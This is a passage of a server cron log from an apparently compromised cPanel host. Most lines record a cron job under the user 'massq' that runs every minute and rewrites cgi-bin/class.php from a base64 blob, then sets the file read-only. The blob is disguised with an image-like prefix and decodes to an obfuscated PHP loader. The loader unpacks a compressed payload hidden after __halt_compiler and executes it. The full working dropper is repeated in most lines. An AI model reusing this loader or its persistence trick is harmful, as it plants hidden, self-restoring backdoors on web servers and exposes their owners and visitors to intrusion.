ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:20:01 server CROND[16754]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 06:21:01 server CROND[16974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:22:01 server CROND[17027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:23:01 server CROND[17087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:24:01 server CROND[17148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:25:01 server CROND[17202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:25:01 server CROND[17203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:25:01 server CROND[17204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:25:01 server CROND[17207]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 06:26:01 server CROND[17321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:27:01 server CROND[17432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:27:01 server CROND[17433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 06:28:01 server CROND[17515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:29:01 server CROND[17569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:30:01 server CROND[17657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:30:01 server CROND[17658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:30:01 server CROND[17659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 06:30:01 server CROND[17656]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:31:01 server CROND[17773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:32:01 server CROND[17819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:33:01 server CROND[17992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:34:01 server CROND[18064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRm